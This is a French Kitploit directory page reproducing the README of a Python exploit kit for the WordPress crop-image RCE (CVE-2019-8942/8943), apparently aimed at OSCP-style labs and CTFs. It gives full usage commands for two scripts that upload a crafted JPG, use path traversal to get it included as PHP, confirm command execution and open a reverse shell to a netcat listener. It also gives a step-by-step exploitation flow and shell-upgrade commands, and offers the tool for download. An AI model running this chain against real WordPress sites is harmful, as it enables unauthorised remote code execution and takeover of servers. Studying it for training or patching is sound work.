Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
WordPress-RCE-CVE-2019-8942 — Kit d'exploitation Python pour WordPress Crop Image RCE — CVE-2019-8942 et CVE-2019-8943 | Kitploit
Outils/GitHubGitHub/speatx/wordpress-rce-cve-2019-8942
Analyse des VulnérabilitésExploitationExploitation d'Applications WebCTFTests d'IntrusionApprentissage et ÉducationRed TeamingDéveloppement de Charges UtilesLabs et Pratique
GitHubspeatx/wordpress-rce-cve-2019-8942

WordPress-RCE-CVE-2019-8942

Kit d'exploitation Python pour WordPress Crop Image RCE — CVE-2019-8942 et CVE-2019-8943

Voir le dépôt
14il y a 3 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

WordPress Crop Image RCE — CVE-2019-8942 / CVE-2019-8943

Implémentation Python3 de la chaîne d'exploitation authentifiée du recadrage d'image WordPress. Le dépôt est organisé autour de deux flux de travail indépendants : un script manuel de style OSCP et un script entièrement automatisé avec un gestionnaire de reverse shell intégré.

À utiliser uniquement dans des laboratoires autorisés, des CTF, des plateformes de formation ou des systèmes pour lesquels vous avez l'autorisation explicite de tester.


Versions WordPress concernées

La chaîne d'exploitation cible les vulnérabilités référencées sous :

  • CVE-2019-8942
  • CVE-2019-8943

Le module Metasploit public pour cette vulnérabilité décrit les versions concernées comme :

root@kitploit:~
WordPress 5.0.0 and WordPress <= 4.9.8

Un compte WordPress valide avec les permissions de téléversement/modification de médias est requis. Dans de nombreux environnements de laboratoire, un utilisateur de niveau Auteur suffit.


Structure du dépôt

root@kitploit:~
. ├── autoexploit.py ├── exploit_oscp.py ├── image.jpg ├── README.md └── requirements.txt

image.jpg est le conteneur JPG par défaut utilisé par le script de style OSCP. Il est inclus pour que le flux de travail manuel fonctionne immédiatement, sans avoir à chercher une image aléatoire.

autoexploit.py est autonome et inclut son propre conteneur JPG hexadécimal en interne, mais il peut également accepter un JPG personnalisé avec -i.


Installation

root@kitploit:~
python3 -m pip install -r requirements.txt

Le seul paquet Python requis est :

root@kitploit:~
requests

Si vous souhaitez le support du proxy SOCKS, installez requests avec les extras SOCKS dans votre environnement :

root@kitploit:~
python3 -m pip install 'requests[socks]'

Choix du script

ScriptIdéal pourGestion de l'imageGestion du shell
exploit_oscp.pyExploitation manuelle de style OSCPUtilise image.jpg par défaut, ou -i custom.jpgVous démarrez nc manuellement
autoexploit.pyUtilisation rapide en laboratoire et tests répétésUtilise un JPG hexadécimal intégré par défaut, ou -i custom.jpgDémarre l'écoute, déclenche les callbacks et ouvre une console interactive

Les deux scripts sont autonomes. Aucun n'importe du code de l'autre.


Flux de travail de style OSCP

exploit_oscp.py maintient le flux de travail explicite. Il prépare le conteneur d'image, exécute la chaîne d'exploitation WordPress authentifiée, confirme l'exécution de commandes et déclenche un reverse shell vers l'écouteur que vous avez démarré manuellement.

Il ne démarre pas automatiquement de gestionnaire et n'utilise ni Metasploit, ni Meterpreter, ni msfvenom.

Utilisation OSCP de base

Démarrez d'abord votre écouteur :

root@kitploit:~
nc -lvnp 443

Exécutez l'exploit en utilisant le image.jpg par défaut :

root@kitploit:~
python3 exploit_oscp.py -t http://target.local/ -u username -p password --lhost 10.10.14.8 --lport 443

Utilisation OSCP avec un JPG personnalisé

root@kitploit:~
nc -lvnp 443
root@kitploit:~
python3 exploit_oscp.py -t http://target.local/ -u username -p password -i ./custom.jpg --lhost 10.10.14.8 --lport 443

Options OSCP

OptionRequiseDéfautSignification
-t, --targetOuiAucunURL de base WordPress cible, par exemple http://target.local/
-u, --usernameOuiAucunNom d'utilisateur WordPress
-p, --passwordOuiAucunMot de passe WordPress
-i, --imageNonimage.jpgConteneur JPG à préparer et à téléverser
--lhostOuiAucunVotre IP de callback, généralement votre IP VPN/tun0
--lportOuiAucunPort sur lequel votre écouteur manuel attend
--proxyNonAucunURL du proxy, par exemple http://127.0.0.1:8080 ou socks5://127.0.0.1:9050
--user-agentNonIntégréEn-tête User-Agent personnalisé
--random-user-agentNonDésactivéUtiliser un User-Agent aléatoire de type navigateur
--timeoutNon20Délai d'expiration HTTP en secondes
--debugNonDésactivéAfficher la sortie de débogage HTTP et enregistrer les réponses échouées utiles

Exemple OSCP avec Burp

root@kitploit:~
python3 exploit_oscp.py -t http://target.local/ -u username -p password -i ./image.jpg --lhost 10.10.14.8 --lport 443 --proxy http://127.0.0.1:8080

Flux de travail entièrement automatisé

autoexploit.py est conçu pour la rapidité. Il peut s'exécuter avec uniquement les identifiants de la cible et tente de sélectionner automatiquement l'IP de callback et le port de l'écouteur.

Il effectue le flux d'exploitation complet, démarre un écouteur local, essaie plusieurs styles de payload de reverse shell et ouvre une console interactive plus propre avec des messages d'état locaux colorisés et une gestion discrète de l'amélioration du TTY.

Utilisation automatisée de base

root@kitploit:~
python3 autoexploit.py -t http://target.local/ -u username -p password

Utilisation automatisée avec des valeurs de callback explicites

root@kitploit:~
python3 autoexploit.py -t http://target.local/ -u username -p password --lhost 10.10.14.8 --lport 443

Utilisation automatisée avec image personnalisée et proxy

root@kitploit:~
python3 autoexploit.py -t http://target.local/ -u username -p password -i ./image.jpg --proxy http://127.0.0.1:8080

Options automatisées

OptionRequiseDéfautSignification
-t, --targetOuiAucunURL de base WordPress cible
-u, --usernameOuiAucunNom d'utilisateur WordPress
-p, --passwordOuiAucunMot de passe WordPress
-i, --imageNonJPG hexadécimal intégréConteneur JPG personnalisé facultatif
--lhostNonAuto-détectéIP de callback utilisée par le reverse shell
--lportNonPort local librePort de l'écouteur local
--listen-timeoutNon12Secondes d'attente pour chaque tentative de reverse shell
--proxyNonAucunURL du proxy, par exemple http://127.0.0.1:8080 ou socks5://127.0.0.1:9050
--user-agentNonIntégréEn-tête User-Agent personnalisé
--random-user-agentNonDésactivéUtiliser un User-Agent aléatoire de type navigateur
--timeoutNon20Délai d'expiration HTTP en secondes
--debugNonDésactivéAfficher la sortie de débogage HTTP et enregistrer les réponses échouées utiles

Exemples de proxy et de User-Agent

Proxy HTTP via Burp :

root@kitploit:~
python3 autoexploit.py -t http://target.local/ -u username -p password --proxy http://127.0.0.1:8080

Proxy SOCKS :

root@kitploit:~
python3 autoexploit.py -t http://target.local/ -u username -p password --proxy socks5://127.0.0.1:9050

User-Agent personnalisé :

root@kitploit:~
python3 exploit_oscp.py -t http://target.local/ -u username -p password --lhost 10.10.14.8 --lport 443 --user-agent "Mozilla/5.0 Custom"

User-Agent aléatoire :

root@kitploit:~
python3 autoexploit.py -t http://target.local/ -u username -p password --random-user-agent

Pourquoi l'image est importante

Il ne s'agit pas d'un téléversement PHP normal. WordPress attend un contenu d'image, traite le fichier via l'éditeur de médias et crée une image recadrée. La chaîne d'exploitation abuse ensuite des métadonnées de pièce jointe et d'un path traversal pour placer une image recadrée dans le répertoire du thème actif. Enfin, le fichier recadré est référencé comme modèle de page afin que WordPress l'inclue comme du PHP.

Un JPG aléatoire avec du PHP placé dans des métadonnées EXIF fragiles peut échouer car GD peut supprimer ou ré-encoder les métadonnées pendant le traitement du recadrage. Ce dépôt maintient le flux de travail clair :

  • exploit_oscp.py utilise le image.jpg inclus par défaut ou une image personnalisée passée avec -i.
  • autoexploit.py contient un conteneur hexadécimal interne pour rester autonome.
  • Les deux flux de travail préparent le téléversement d'une manière destinée à survivre à l'étape de recadrage WordPress.

Déroulement technique

  1. S'authentifier auprès de WordPress.
  2. Détecter le thème actif.
  3. Téléverser le conteneur JPG via async-upload.php.
  4. Obtenir les nonces média, éditeur d'image et pièce jointe.
  5. Utiliser la manipulation de _wp_attached_file pour influencer le chemin de sortie du recadrage.
  6. Déclencher l'action de recadrage une fois pour amorcer le comportement.
  7. Déclencher à nouveau l'action de recadrage avec un path traversal vers le répertoire du thème actif.
  8. Créer un article et définir _wp_page_template sur le nom du JPG recadré.
  9. Demander l'article afin que WordPress inclue le JPG conçu comme modèle.
  10. Confirmer l'exécution de commandes via le paramètre GET 0.
  11. Déclencher un reverse shell vers le point de callback configuré ou auto-sélectionné.

Dépannage

L'authentification fonctionne mais l'exécution n'est pas confirmée

Vérifiez que la version de WordPress est vulnérable et que le compte peut téléverser et modifier des médias.

root@kitploit:~
python3 exploit_oscp.py -t http://target.local/ -u username -p password --lhost 10.10.14.8 --lport 443 --debug

L'exécution de commandes est confirmée mais aucun shell ne revient

Vérifiez l'IP de callback et l'écouteur.

root@kitploit:~
ip addr show tun0
root@kitploit:~
nc -lvnp 443

Exécutez ensuite le script OSCP à nouveau avec le bon --lhost.

Burp n'affiche pas le trafic

Utilisez explicitement l'option proxy :

root@kitploit:~
python3 autoexploit.py -t http://target.local/ -u username -p password --proxy http://127.0.0.1:8080

Le proxy SOCKS échoue

Installez le support SOCKS :

root@kitploit:~
python3 -m pip install 'requests[socks]'

Le shell semble instable

Les reverse shells de base sont souvent limités. Le script automatisé tente de mettre à niveau la session automatiquement. En mode OSCP, effectuez la mise à niveau manuellement après avoir reçu le callback :

root@kitploit:~
python3 -c 'import pty; pty.spawn("/bin/bash")'

Appuyez sur Ctrl+Z localement, puis exécutez :

root@kitploit:~
stty raw -echo; fg

Dans le shell :

root@kitploit:~
export TERM=xterm

Notes de style OSCP

exploit_oscp.py est intentionnellement manuel :

  • pas de Metasploit ;
  • pas de Meterpreter ;
  • pas de gestionnaire automatique ;
  • aucune dépendance à autoexploit.py ;
  • écouteur explicite contrôlé par l'opérateur ;
  • LHOST et LPORT explicites ;
  • sortie claire montrant chaque étape.

Le flux de travail prévu est :

root@kitploit:~
nc -lvnp 443
root@kitploit:~
python3 exploit_oscp.py -t http://target.local/ -u username -p password --lhost 10.10.14.8 --lport 443

Crédits

La recherche et la chaîne de vulnérabilités ont été documentées publiquement par les chercheurs d'origine puis implémentées dans des frameworks d'exploitation publics.

Implémentation Python et flux de travail de laboratoire par SpeatX.


Avis légal

Ce dépôt est fourni pour les tests de sécurité autorisés, les CTF, les laboratoires de formation et la recherche pédagogique.

Ne l'exécutez pas contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas l'autorisation explicite de tester.

Télécharger l’outil